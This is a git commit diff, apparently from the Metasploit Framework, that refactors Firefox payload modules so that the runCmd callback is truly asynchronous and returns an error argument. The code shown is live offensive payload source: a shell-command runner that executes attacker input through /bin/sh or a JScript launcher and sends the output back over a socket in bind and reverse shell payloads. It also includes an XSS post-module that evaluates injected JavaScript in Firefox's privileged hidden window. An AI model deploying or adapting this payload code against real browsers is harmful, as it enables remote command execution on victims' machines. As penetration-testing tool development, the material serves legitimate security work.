Update async API to actually be async in all cases.
This avoids zalgo. Also optionally checks the return value of the compiled Function in XSS to allow you to use send() or an explicit return, which is maybe more natural for synchronous xss payloads.bug/bundler_fix
parent
49d1285d1b
commit
fb1a038024
|
@ -4,6 +4,19 @@ require 'json'
|
|||
|
||||
module Msf::Payload::Firefox
|
||||
|
||||
|
||||
# Javascript source code of setTimeout(fn, delay)
|
||||
# @return [String] javascript source code that exposes the setTimeout(fn, delay) method
|
||||
def set_timeout_source
|
||||
%Q|
|
||||
var setTimeout = function(cb, delay) {
|
||||
var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer);
|
||||
timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT);
|
||||
return timer;
|
||||
};
|
||||
|
|
||||
end
|
||||
|
||||
# Javascript source code of readFile(path) - synchronously reads a file and returns
|
||||
# its contents. The file is deleted immediately afterwards.
|
||||
#
|
||||
|
@ -54,18 +67,44 @@ module Msf::Payload::Firefox
|
|||
# @return [String] javascript source code that exposes the runCmd(str) method.
|
||||
def run_cmd_source
|
||||
%Q|
|
||||
#{read_file_source}
|
||||
#{set_timeout_source}
|
||||
|
||||
var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
|
||||
.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
|
||||
var windows = (ua.indexOf("Windows")>-1);
|
||||
var svcs = Components.utils.import("resource://gre/modules/Services.jsm");
|
||||
var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src;
|
||||
var runCmd = function(cmd, cb) {
|
||||
if (cmd.trim().length == 0) return;
|
||||
cb = cb \|\| (function(){});
|
||||
|
||||
if (cmd.trim().length == 0) {
|
||||
setTimeout(function(){ cb("Command is empty string ('')."); });
|
||||
return;
|
||||
}
|
||||
|
||||
var js = (/^\\s*\\[JAVASCRIPT\\]([\\s\\S]*)\\[\\/JAVASCRIPT\\]/g).exec(cmd.trim());
|
||||
if (js) {
|
||||
var tag = "[!JAVASCRIPT]";
|
||||
Function('send', js[1])(function(r){ if (r) cb(r+tag+"\\n"); });
|
||||
var sync = true; // avoid zalgo's reach
|
||||
var sent = false;
|
||||
|
||||
var retVal = Function('send', js[1])(function(r){
|
||||
if (sent) return;
|
||||
sent = true
|
||||
if (r) {
|
||||
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
|
||||
else cb(false, r+tag+"\\n");
|
||||
}
|
||||
});
|
||||
|
||||
sync = false;
|
||||
|
||||
if (retVal && !sent) {
|
||||
sent = true;
|
||||
setTimeout(function(){ cb(false, retVal+tag+"\\n"); });
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
@ -116,13 +155,13 @@ module Msf::Payload::Firefox
|
|||
var args = [jscriptFile.path, b64];
|
||||
process.run(true, args, args.length);
|
||||
jscriptFile.remove(true);
|
||||
cb(cmd+"\\n"+readFile(stdout.path));
|
||||
setTimeout(function(){cb(false, cmd+"\\n"+readFile(stdout.path));});
|
||||
} else {
|
||||
sh.initWithPath("/bin/sh");
|
||||
process.init(sh);
|
||||
var args = ["-c", shell];
|
||||
process.run(true, args, args.length);
|
||||
cb(readFile(stdout.path));
|
||||
setTimeout(function(){cb(false, readFile(stdout.path));});
|
||||
}
|
||||
};
|
||||
|
|
||||
|
|
|
@ -66,14 +66,13 @@ module Metasploit3
|
|||
onStopRequest: function(request, context) {},
|
||||
onDataAvailable: function(request, context, stream, offset, count) {
|
||||
var data = NetUtil.readInputStreamToString(stream, count).trim();
|
||||
runCmd(data, function(output) {
|
||||
outStream.write(output, output.length);
|
||||
runCmd(data, function(err, output) {
|
||||
if(!err) outStream.write(output, output.length);
|
||||
});
|
||||
}
|
||||
};
|
||||
};
|
||||
|
||||
#{read_file_source}
|
||||
#{run_cmd_source}
|
||||
|
||||
serverSocket.asyncListen(listener);
|
||||
|
|
|
@ -51,13 +51,12 @@ module Metasploit3
|
|||
onStopRequest: function(request, context) {},
|
||||
onDataAvailable: function(request, context, stream, offset, count) {
|
||||
var data = NetUtil.readInputStreamToString(stream, count).trim();
|
||||
runCmd(data, function(output) {
|
||||
outStream.write(output, output.length);
|
||||
runCmd(data, function(err, output) {
|
||||
if (!err) outStream.write(output, output.length);
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
#{read_file_source}
|
||||
#{run_cmd_source}
|
||||
|
||||
pump.asyncRead(listener, null);
|
||||
|
|
|
@ -7,6 +7,9 @@ require 'msf/core'
|
|||
require 'json'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Payload::Firefox
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Firefox XSS',
|
||||
|
@ -47,6 +50,8 @@ class Metasploit3 < Msf::Post
|
|||
%Q|
|
||||
|
||||
(function(send){
|
||||
#{set_timeout_source}
|
||||
|
||||
var hiddenWindow = Components.classes["@mozilla.org/appshell/appShellService;1"]
|
||||
.getService(Components.interfaces.nsIAppShellService)
|
||||
.hiddenDOMWindow;
|
||||
|
@ -60,9 +65,9 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
var evt = function() {
|
||||
if (hiddenWindow[key]) {
|
||||
schedule(evt);
|
||||
setTimeout(evt, 200);
|
||||
} else {
|
||||
schedule(function(){
|
||||
setTimeout(function(){
|
||||
try {
|
||||
send(hiddenWindow.Function('send', src)(send));
|
||||
} catch (e) {
|
||||
|
@ -72,13 +77,7 @@ class Metasploit3 < Msf::Post
|
|||
}
|
||||
};
|
||||
|
||||
var schedule = function(cb, delay) {
|
||||
var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer);
|
||||
timer.initWithCallback({notify:cb}, delay\|\|200, Components.interfaces.nsITimer.TYPE_ONE_SHOT);
|
||||
return timer;
|
||||
};
|
||||
|
||||
schedule(evt);
|
||||
setTimeout(evt, 200);
|
||||
})(send);
|
||||
|
||||
|.strip
|
||||
|
|
Loading…
Reference in New Issue